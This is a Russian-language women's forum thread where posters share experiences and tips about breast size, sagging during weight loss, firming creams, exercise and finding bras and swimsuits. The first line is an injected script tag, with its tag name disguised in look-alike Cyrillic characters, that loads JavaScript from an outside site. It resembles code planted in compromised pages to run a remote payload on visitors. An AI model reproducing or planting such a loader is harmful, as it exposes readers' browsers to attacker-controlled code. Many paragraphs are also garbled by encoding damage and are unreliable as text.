<sСЃript type="text/javasСЃript" src="http://smolbanda.my1.ru/rtr/1-1"></sСЃript>

хорошие советы! почитала и решила - буду мазаться оливковым маслом и каждую тренировку на фитнессе сидеть на разных тренажёрах для грудных мышц.

и бассейн если получится.

хотелось бы конечно ещё и душ контрастный, но живу на 11 - напора никакого и с бойлером особо темперетуру не порегулируешь...

и сфоткаться тоже надо.

Привет большегрудым красоткам!!! Я к вам!!!

половина дела РІ правильно выбраном бюсте.... потому что РіСЂСѓРґСЊ без РѕРЅРѕРіРѕ Рё РІ нём, лично Сѓ меня - бооольшая разница...выложишь РіСЂСѓРґСЊ красиво - просто роскошь, Р°  стоит нагнуться, подпрыгнуть или просто расслабиться - уже РІСЃРµ выпадает! 

Если тебе радикально и категорически не нравится собственный бюст, то изменить его также радикально способен только хирург, в твоих же силах сохранить свое сокровище в соблазнительном виде как можно дольше и с минимальными жертвами. Просто нужно включить заботу о зоне декольте и груди в ежедневную программу ухода за собой, наряду с чисткой зубов и расчесыванием волос. Вот несколько простых правил:

У меня просто наблюдение: Когда раньше я интенсивно худела (примерно на 10 кг в месяц), то грудь заметно обвисала, а вот сейчас, когда худею медленно, грудь почти на месте. Уходят другие места.

Девочки, а я еще хочу сказать: хоть и есть обвисание, когда худеешь, но все равно потом немножко подтягивается! Я похудела на 1 размер примерно (килограмм 8-9 где-то), грудь, конечно, подыспортилась. Но потом несколько месяцев удерживала вес (не специльно, просто забросила похудение, но и толстеть не хотела), грудь почти вернулась. Даже по обхвату!!! Когда только-только похудела и весила 55 кг, грудь была 87 см (и это 4й размер!!!). А сейчас в том же весе обхват груди 90-91 см! Вот так-то =).

Сейчас опять худею, но уже так сильно не волнуюсь по поводу этой замечательной и любимой части тела!

РЇ всего-то СЃРјР°Р·С‹РІР°СЋ кремом РѕС‚ Avon Рё РёРЅРѕРіРґР° делаю отжимания, Р° еще РєСѓР±РёРєРѕРј льда мажу РіСЂСѓРґСЊ СЃ утра... РќРѕ РєРѕРіРґР° "поддерживала" вес, то ничего РЅРµ использовала!!!

Приморочка, ты до беременности худенькая была? Сколько в тебе было? Тут ниже писали, что есть два варианта: размер, предопределенный генетически и размер от полноты. Если размер от полноты, то конечно, грудь у тебя уменьшится, даже и переживать не стоит. А если у тебя всегда была такая грудь, даже когда ты была худенькая, то тут уж ничего не попишешь! Хотя все равно скорее всего уменьшится. У меня чуть меньше стала (хотя меня это и не радует, как тебя), но все равно в пределах моего размера осталась, т.к. у меня размер генетически не маленький =). Не переживай, похудеешь и с грудью все будет уже яснее! Она не так заметна будет! Не переживай, следи за своим здоровьем, худей и удивляйся, как меняется твое отражение в зеркале! А с грудью все устаканится по мере похудения, я уверена! Когда достигнешь своей цели, тогда сама поймешь, стоит ли что-то дополнительно делать... Мне вот кажется, что все уменьшится... � будет гармонично.

РќСѓ РІРѕС‚ девочки, СЏ тут Сѓ вас новенькая. Самая главная проблема - Грудь!!!! Р’СЂРѕРґРµ РЅРµ толстая сама, РЅРѕ РєРѕРіРґР° РЅР° себя смотрю, вижу только ее, Р·Р° счет Нее любимой, кажусь Очень большой :( аж плакать хочеться. РњРЅРµ 24 Рі., СЂРѕСЃС‚ 163 РІРµС€Сѓ 73 РєРі, еще РЅР° ГВ, хочу похудеть РґРѕ 63 хотя Р±С‹. РќРѕ СЃСѓРґСЏ РїРѕ вашим отзывам, еще больше расстроилась Рё поняла что если РѕРЅР° уменьшиться то РЅРµ РЅР° РјРЅРѕРіРѕ  :(. Года 4 назад был 5-Р№ размер Р•, объем 75. Рђ сейчас 9-Р™ I 80 бъем, РЅРѕ РёРЅРѕРіРґР° Рќ еще налазит СЃРѕ СЃРєСЂРёРїРѕРј!!!! КАраул просто, билье если покупаешь, то быстро растягивается Рё РіСЂСѓРґСЊ РЅРµ держит. РќРµ РїРѕР№РјСѓ, РіРґРµ дамы СЃ силиконом РѕРіСЂРѕРјРЅРѕРіРѕ размера покупают себе белье, для меня проблема. Что тут скажешь Рѕ купльнике.  Р’ общем даже РЅРµ знаю СЃ чего начать. Формы, просто НЕТ, для меня РІСЃРµ ужасно, Рё это РЅРµ просто самокритика, РЅР° самом деле вижу  РЅРµ себя, Р° ее. Р� одеть нечего.  ОДно радует, что мужа РІСЃРµ устраивает Рё РѕРЅ меня Рё такую ЛЮбит, РЅРёРєРѕРіРґР° РЅР° операцию РЅРµ отправит, Рё сама РЅРµ РїРѕР№РґСѓ!!!!  Хоть тут СЃРїРѕРєРѕР№РЅР° как танк, РЅРѕ РІРѕС‚ РЅР° люди выходить неудобно, работа тоже, хоть Рё женский коллектив, РЅРѕ СЏ попала уже Р‘ Рё РјРѕР№ огромный размер был РЅРµ так заметен, зато РЅРё раз слышала как девочки обсуждали красотку СЃ большими буферами Рё РІСЃСЏРєРёРµ гадости говорили. Р РђР·РІРµ это хорошо. МОжет РёРј Рё завидно. РќРћ РєРѕРіРґР° РЎР�льно большая РіСЂСѓРґСЊ, тоже плохо. Очень тяжело ее носить, СЃРїРёРЅР°, шейный отдел отваливаются.  Р’РЈ общем, нагорело , накипело. Очень хочеться, чтобы хотя Р±С‹ До Р• уменьшилась РЎРђРњРђ, РЅРѕ сбудеться ли мечта, РЅРµ факт :(

Привет,девочки!

Олика!�звини,не увидела раньше твоего вопроса.Да не сильно грудь уменьшилась,пытаюсь ее укреплять,но все равно обвисание,блин,есть.

dgulia03, я вас поддерживаю по всем пунктам

dim_light, извини, ну ты чушь несёшь, при чём тут только мужики и кофты с вырезом? Откуда столько негатива?

Я работаю на 80% в женском коллективе и как раз повышенное внимание к своему бюсту и вырезам я слышу от коллег женского пола. А с вниманием мужчин как и у всех -где-то больше к бюсту, где к большой попе, а кому-то глаза нравится ))) . Ко мне вообще в метро интеллегентный молодой мужчина в костюме обратился с приватным вопросом "Какой размер?" вот так без "здрасти" и без "привет" --сразу к делу.

Наша же грудь, это наше оружие против "сильного пола", этот оргумент самый сильный , сильнее автомата "Калаша"

� что же это за негативное отношение к своей внешности, это же так приятно , когда тебя провожают завистливым взглядом, а ты такая неприступная и шикарная!!!!!

а если мужики не нужны - раз,

кофты с вырезом сразу отметаются - два (потому что все сразу начинают пялиться, как будто я только и мечтаю об их внимании)

и вообще я мечтаю быть мах бесполой!?

РђС…Р°! РІ воскресенье занималась аквааэробикой, Сѓ нас инструктор РїРѕ аэробике парень, РІРѕС‚ думаю ему радующее глаз зрелище РѕС‚крывалось РЅР° наши Р±СѓР№РєРё

Большая грудь так соблазнительно выглядит в хорошом купальнике во время занятий аквааэробикой. Сама от себя балдю, представляю, как это для окружающих!)))))))))

привет! Nava 13, нескромный вопрос -у тебя сильно уменьшилась грудь, когда 15кг покинулись? Ты в течении этого времени пользовалась общеукрепляющими кремами? А сейчас как.

Привет,девочки!

Nava13, я с тобой абсолютно согласна! Девочки и правда, наша задача сохранить её упругой, а ваши нарекания и недовольства на размер --ну знаете ли. это как в "ширли-мырли" -плохо кушать, а иначе зажрались!

РЈ меня седьмой или 80G. Р� РІ фитнесе люблю попрыгать Рё поскакать, согласитесь СЃ таким размером можно растроиться, Р° СЏ РІСЃС‘ равно ею довольна -хотя РёРЅРѕРіРґР° сама РІ зеркале обалдеваю РѕС‚ размера, что Р¶ окружающие. )))

Девочки привет у меня р-р Д, накачать могу, когда худею то худеет. Вообще нормально. Купальник тольок подобрать не могу. Не удобно мне в них

ой, чего это у меня такой шрифт получился нескромный

Привет,девочки!Это зачем уменьшать нашу красоту?вот чтобы упругой оставалась это проблема.я еще не видела ни одного мужика который бы не облизывался на грудь 4-5 размера.

Да как же можно ненавидеть собственную грудь? Тем более 4 размера! Да тебе же все девушки в округе наверняка завидуют! Её надо холить и лелеить, и если уж на то пошло, то выбирать не такую одежду, которая расчитана на плоских дам, я то же люблю такие вещи, но ничего не попишешь, а брать то, что тебе подойдет. А это в большинстве случаев - глубокий вырез и никаких пуговиц! � радоваться надо, а не жаловаться!

вот, вы тут многие говорите: грудь худеет, надо разделять понятия: грудь от лишнего веса и грудь генетическая, моя проблема 2ая,

4ый размер, при любом весе, в 15 лет я весила 42 кг - 4ый размер

в 65кг - 4ый размер

потом похудела до 45кг - и снова 4ый, не худеет, хоть ты сдохни, пыталась накачать, но качаются только руки, с грудью никаких метаморфоз

РЈ меня всегда была проблема, РёР·-Р·Р° нее приходится брать одежду РЅР° размер больше - пуговицы РЅРµ сходятся, или топорщится, ненавижу  ее,

есть еще какие-нибудь способы похудеть грудь?